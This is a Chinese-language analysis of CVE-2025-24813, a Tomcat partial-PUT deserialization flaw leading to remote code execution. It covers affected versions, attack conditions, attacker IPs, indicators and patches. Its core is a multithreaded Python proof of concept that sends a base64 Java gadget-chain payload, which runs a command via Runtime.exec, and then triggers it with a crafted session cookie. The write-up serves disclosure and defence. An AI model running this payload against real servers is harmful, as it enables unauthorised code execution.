CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

CVE-2025-24813 漏洞全解析|Apache Tomcat 关键路径绕过与RCE

作者:Factor .Poc作者:iSee857

一、漏洞概述

CVE-2025-24813 是 Apache Tomcat 中一个关键的路径等效性(Path Equivalence)漏洞,允许未经身份验证的远程攻击者在特定配置下实现远程代码执行(RCE)、读取敏感文件,甚至篡改文件内容。该漏洞已在野外被观察到存在实际利用行为,影响范围广泛。


二、影响版本

  • Tomcat 11.0.0-M1 至 11.0.2(修复于 11.0.3)
  • Tomcat 10.1.0-M1 至 10.1.34(修复于 10.1.35)
  • Tomcat 9.0.0.M1 至 9.0.98(修复于 9.0.99)
  • Tomcat 8.5.x(Insikt Group 发现 8.5.0 至 8.5.98 和 8.5.100 也受影响,8.5.99 是唯一不受影响版本)

三、漏洞原理

该漏洞的核心是 Tomcat 对部分 PUT 请求(Partial PUT)和文件路径解析的处理逻辑存在缺陷,攻击者可以通过构造特定请求绕过默认中间件验证机制,从而触发远程代码执行或敏感文件操作。

🎯 利用流程(两步):

  1. 攻击者构造一个 Base64 编码的 Java 反序列化 Payload ,通过 PUT 请求提交至服务端。
  2. 随后通过一个附带特制 JSESSIONID 的 GET 请求触发服务器反序列化该 Payload,最终执行任意代码。

四、漏洞利用条件

远程代码执行(RCE)需要满足以下条件:

  • 默认 Servlet 具备写权限(默认是关闭的)
  • 启用 Partial PUT(默认开启)
  • 应用使用基于文件的 Session 持久化,且存储位置为默认目录
  • 应用中包含可被反序列化利用的第三方库(如 fastjson, commons-collections 等)

此外,如果配置允许,攻击者还可以:

  • 查看敏感安全文件内容
  • 注入数据至敏感文件

这些额外风险成立的前提:

  • 上传路径在可公开访问目录之下
  • 攻击者知道目标上传文件名
  • 上传通过 Partial PUT 实现

注:虽然这些条件组合在一起并不常见,但确实存在大量线上实例仍配置为可被利用状态。


五、在野利用情况与威胁分析

🌐 已知恶意攻击者 IP(来自 Greynoise 数据):

恶意IP地址 来源地 攻击目标国家
203.160.68.24 中国香港 美国
176.65.138.172 德国 日本、新加坡、印尼、台湾等
38.126.114.186 美国 印度、墨西哥、美国
188.213.161.98 意大利 日本、韩国
140.143.182.115 中国 澳大利亚、墨西哥等
196.240.54.120 拉脱维亚 美国

全球范围内,Shodan 扫描数据显示,约有 378,444 台暴露的 Tomcat 实例可能受到影响,主要分布在中国、美国、摩洛哥和巴西等地。

🔍 指纹与攻击迹象(IoC):

  • Web 目录中出现未知 .jsp 文件
  • Web 日志中存在异常 PUT 请求记录
  • 外部 GET/POST 请求访问恶意 JSP
  • WAF 报告触发"未授权上传"规则

六、PoC 与复现情况

使用方式:

批量检测支持多线程:

python poc.py -l url.txt -t 5

单个检测:

python poc.py -u your-ip

Poc引用作者:iSee857

引用至:https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X

Poc复现:

bash 复制代码
import argparse
import base64
import sys
import requests
from concurrent.futures import ThreadPoolExecutor

COLOR = {
    "RED": "\033[91m",
    "GREEN": "\033[92m",
    "YELLOW": "\033[93m",
    "BLUE": "\033[94m",
    "PURPLE": "\033[95m",
    "CYAN": "\033[96m",
    "RESET": "\033[0m"
}

BANNER = rf"""
{COLOR['PURPLE']}
  ___  _ __   ___ | |_ ___  ___| |_ 
 / _ \| '_ \ / _ \| __/ _ \/ __| __|
| (_) | |_) | (_) | ||  __/\__ \ |_ 
 \___/| .__/ \___/ \__\___||___/\__|
      |_| {COLOR['CYAN']}Apache Tomcat RCE Detector
{COLOR['RED']}CVE-2025-24813 {COLOR['RESET']}@Author: iSee857
"""

# Payload
PAYLOAD = base64.b64decode(
    "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"
)

def print_vulnerable(target):
    print(f"\n{COLOR['RED']}[!] 目标存在漏洞: {target}")
    print(f"[+] CVE-2025-24813 Apache Tomcat 远程代码执行漏洞{COLOR['RESET']}\n")

def check_target(target):
    try:
        host, port = target.split(":")
        port = int(port)
    except:
        print(f"{COLOR['YELLOW']}[!] 无效目标格式: {target}{COLOR['RESET']}")
        return

    base_url = f"http://{host}:{port}"
    put_url = f"{base_url}/iSee857/session"
    
    try:

        put_response = requests.put(
            put_url,
            headers={
                "Host": f"{host}:{port}",
                "Content-Length": "10000",
                "Content-Range": "bytes 0-1000/1200"
            },
            data=PAYLOAD,
            verify=False,
            timeout=10
        )


        if put_response.status_code == 409:
            get_response = requests.get(
                base_url,
                headers={"Cookie": "JSESSIONID=.iSee857"},
                verify=False,
                timeout=10
            )

            if get_response.status_code == 500:
                print_vulnerable(target)
                return True

        print(f"{COLOR['GREEN']}[+] {target} 未检测到漏洞{COLOR['RESET']}")
        return False

    except requests.exceptions.RequestException as e:
        print(f"{COLOR['YELLOW']}[!] {target} 检测失败: {str(e)}{COLOR['RESET']}")
        return False
    except Exception as e:
        print(f"{COLOR['RED']}[!] {target} 发生错误: {str(e)}{COLOR['RESET']}")
        return False

def main():
    print(BANNER)
    
    parser = argparse.ArgumentParser(description='Apache Tomcat RCE检测工具')
    parser.add_argument('-u', '--url', help='单个目标 (格式: ip:port)')
    parser.add_argument('-l', '--list', help='包含多个目标的文件')
    parser.add_argument('-t', '--threads', type=int, default=5, 
                       help='并发线程数 (默认: 5)')
    args = parser.parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    elif args.list:
        try:
            with open(args.list, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except FileNotFoundError:
            print(f"{COLOR['RED']}[!] 文件不存在: {args.list}{COLOR['RESET']}")
            sys.exit(1)
    else:
        parser.print_help()
        sys.exit(1)

    print(f"{COLOR['CYAN']}[*] 开始检测,共 {len(targets)} 个目标...{COLOR['RESET']}")

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        results = executor.map(check_target, targets)

    vulnerable_count = sum(1 for result in results if result)
    print(f"\n{COLOR['PURPLE']}[*] 检测完成,共发现 {vulnerable_count} 个存在漏洞的目标{COLOR['RESET']}")

if __name__ == "__main__":
    main()

七、防护建议

✅ 官方修复版本:

  • 升级至:11.0.3 / 10.1.35 / 9.0.99
  • 8.5.x 用户建议迁移至受支持分支,避免继续使用 EoL 版本

✅ 临时缓解策略:

  • 显式关闭 default servlet 的写权限:

    <init-param>

    <param-name>readonly</param-name>

    <param-value>true</param-value>

    </init-param>

  • 在 Web 应用中禁用 Partial PUT 请求(使用 WAF 拦截或 nginx 过滤)

  • 清理 webapps/ROOT/ 路径下的未授权文件

✅ 工具支持:

  • Insikt Group 提供 Nuclei 检测模板(可用于批量扫描)
  • Recorded Future 提供 ASI 签名规则用于攻击面定位

八、总结

CVE-2025-24813 是一次典型的"路径+反序列化+配置缺陷"复合型漏洞,表面上源于文件路径处理缺陷,实际利用则依赖于多个错误配置的叠加效应。

它提醒我们:边界可信假设失效、中间件权限设置失误、反序列化引擎暴露等老问题,在现代系统中依旧构成致命威胁

安全不仅仅是打补丁,更是对配置、逻辑与习惯的全面治理。

相关推荐
BullSmall5 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters6 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐9 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01239 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代9 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i10 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel123410 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼11 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技11 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器12 小时前
安全复制SCP
linux·服务器·安全